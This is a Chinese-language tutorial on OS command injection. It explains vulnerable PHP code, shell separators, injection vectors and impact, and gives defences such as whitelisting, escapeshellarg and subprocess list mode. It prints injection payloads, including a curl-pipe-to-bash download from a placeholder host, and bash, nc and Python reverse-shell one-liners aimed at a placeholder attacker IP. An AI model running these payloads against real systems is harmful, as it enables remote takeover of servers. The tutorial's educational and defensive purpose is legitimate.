命令注入完整指南:原理、攻击链、常见载体、检测方法、防御措施,附命令注入攻击链拓扑图。
写在前面:合法学习边界
命令注入测试只在授权环境进行。对非授权系统执行命令注入可能触犯法律。
一、原理
命令注入的本质是:用户输入拼接到操作系统命令中,被 shell 当作命令执行。
1
2
3
4
5
6
7
8
9
| 正常代码:
$ip = $_GET['ip'];
system("ping -c 1 " . $ip);
输入 127.0.0.1 变成:
ping -c 1 127.0.0.1 -- 正常
输入 127.0.0.1;whoami 变成:
ping -c 1 127.0.0.1;whoami -- 注入成功,执行 whoami
|
二、命令注入攻击链

三、常见注入载体
1. Ping 命令注入
1
2
3
4
5
6
7
8
9
10
| 输入:127.0.0.1;whoami
命令:ping -c 1 127.0.0.1;whoami
分隔符:
; → 命令分隔(前后都执行)
| → 管道符(前输出→后输入)
&& → 逻辑与(前成功才执行后)
|| → 逻辑或(前失败才执行后)
` → 反引号(执行反引号内命令)
$( → 命令替换($(whoami))
|
2. 文件路径注入
1
2
3
4
5
| 输入:/tmp/shell;bash shell
危险函数:
PHP: system() / exec() / passthru() / shell_exec() / popen()
Python: os.system() / subprocess.call()
Java: Runtime.getRuntime().exec()
|
3. 下载/转换工具
1
2
3
| ffmpeg/wget/curl 等工具
输入:http://x.com/x.png;curl x.sh|bash
命令:ffmpeg -i "用户输入" output.mp4
|
四、反弹 Shell
1
2
3
4
5
6
7
8
| Linux bash:
bash -i >& /dev/tcp/攻击者IP/4444 0>&1
Linux nc:
nc -e /bin/sh 攻击者IP 4444
Linux python:
python -c 'import socket,subprocess,os;s=socket.socket();s.connect(("攻击者IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
|
五、危害
1
2
3
4
5
6
| ① 执行任意系统命令
② 读取/修改服务器文件
③ 提权
④ 反弹 Shell(远程控制)
⑤ 下载工具/持久化
⑥ 横向移动内网
|
六、防御措施
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
| 1. 参数白名单
只允许 IP 格式 / 数字 / 预定义值
PHP: if(!preg_match('/^[\d.]+$/', $ip)) { die('Invalid'); }
2. 过滤危险字符
过滤:; | && || ` " ' < >
PHP: escapeshellcmd() / escapeshellarg()
3. 避免拼接命令
Python: subprocess.run(['ping', '-c', '1', ip]) # 不要拼接字符串
PHP: exec('ping -c 1 ' . escapeshellarg($ip))
4. 最小权限
Web 进程使用普通用户(www-data)
禁止 sudo / 敏感命令执行权限
防火墙限制出站连接
|
七、小结
命令注入的危害比 SQL 注入更直接——能直接执行操作系统命令。防御核心是不要拼接用户输入到系统命令中,使用参数化 API(如 subprocess.run 列表模式)代替字符串拼接。